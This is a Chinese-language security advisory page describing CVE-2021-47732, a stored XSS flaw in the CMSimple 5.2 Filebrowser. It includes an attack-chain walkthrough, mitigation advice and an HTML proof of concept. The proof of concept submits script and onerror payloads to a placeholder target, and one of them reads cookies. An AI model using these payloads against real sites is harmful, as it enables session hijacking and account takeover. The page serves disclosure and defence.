IPBUF安全漏洞报告
English
CVE-2021-47732 CVSS 6.1 中危

CVE-2021-47732 CMSimple 5.2 Filebrowser存储型XSS漏洞

披露日期: 2025-12-23

漏洞信息

漏洞编号
CVE-2021-47732
漏洞类型
存储型跨站脚本攻击(XSS)
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
CMSimple 5.2

相关标签

存储型XSS跨站脚本CMSimpleFilebrowserCVE-2021-47732中危漏洞Web应用安全输入验证不足

漏洞概述

CVE-2021-47732是CMSimple 5.2版本中的一个存储型跨站脚本(XSS)安全漏洞。该漏洞存在于CMSimple的文件浏览器(Filebrowser)功能的External输入字段中,攻击者可以利用此漏洞向系统中注入恶意JavaScript代码。由于是存储型XSS,恶意代码会被永久保存在服务器端数据库或文件系统中,当其他用户访问受影响的页面或点击Page、Files标签时,注入的恶意脚本会自动执行。攻击者可以利用此漏洞窃取用户会话cookie、劫持用户账户、执行恶意操作或传播恶意软件。由于该漏洞需要用户交互才能触发(点击相关标签),因此攻击复杂度较低,但潜在危害严重,可影响所有访问受影响页面的用户。

技术细节

该漏洞的根本原因在于CMSimple 5.2的Filebrowser模块对External输入字段的用户输入缺乏充分的输入验证和输出编码。当攻击者向该字段提交包含JavaScript代码的恶意字符串时,系统未能对特殊字符进行适当转义或过滤,直接将用户输入存储到后端。当其他用户访问包含该输入的页面时,浏览器会将其作为可信内容解析执行,从而触发XSS攻击。攻击者可以利用<script>标签、事件处理器(如onerror、onload)或其他JavaScript协议来注入恶意代码。由于漏洞位于文件浏览器的核心功能中,几乎所有使用该功能的页面都可能受到影响。攻击成功后,攻击者可在受害者浏览器上下文中执行任意JavaScript代码,包括读取敏感信息、修改页面内容或进行进一步的社会工程攻击。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标网站使用的CMSimple版本,确认其为5.2版本且存在Filebrowser功能
STEP 2
步骤2: 漏洞探测
攻击者访问Filebrowser的External输入字段,尝试注入测试XSS载荷
STEP 3
步骤3: 恶意代码注入
攻击者在External输入字段中注入恶意JavaScript代码,如<script>alert('XSS')</script>或事件处理器载荷
STEP 4
步骤4: 代码存储
由于缺少输入过滤,恶意代码被系统存储到服务器端数据库或配置文件中
STEP 5
步骤5: 等待触发
攻击者等待普通用户访问包含恶意代码的页面或点击Page/Files标签
STEP 6
步骤6: 代码执行
当受害者访问受感染页面时,浏览器解析并执行注入的恶意JavaScript代码
STEP 7
步骤7: 攻击成功
攻击者通过JavaScript代码窃取用户会话cookie、劫持账户或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2021-47732 Stored XSS PoC for CMSimple 5.2 Filebrowser External Input --> <!-- Author: VulnCheck --> <!DOCTYPE html> <html> <head> <title>CVE-2021-47732 PoC</title> </head> <body> <h1>CVE-2021-47732 Stored XSS in CMSimple 5.2</h1> <form action="[TARGET_URL]/cmsimple/filebrowser.php" method="POST"> <input type="hidden" name="external" value='<script>alert("XSS - CVE-2021-47732")</script>'> <input type="hidden" name="action" value="save"> <input type="submit" value="Exploit"> </form> <!-- Alternative PoC using event handler --> <form action="[TARGET_URL]/cmsimple/filebrowser.php" method="POST"> <input type="hidden" name="external" value='<img src=x onerror="alert(document.cookie)">'> <input type="hidden" name="action" value="save"> <input type="submit" value="Exploit (Cookie Theft)"> </form> </body> </html>

影响范围

CMSimple 5.2

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1) 临时禁用Filebrowser的External功能;2) 实施Web应用防火墙(WAF)规则过滤恶意XSS载荷;3) 对所有用户输入进行严格的HTML标签过滤;4) 使用HTTPOnly和Secure标志保护会话Cookie;5) 限制非管理员用户访问Filebrowser功能;6) 监控日志及时发现异常注入行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表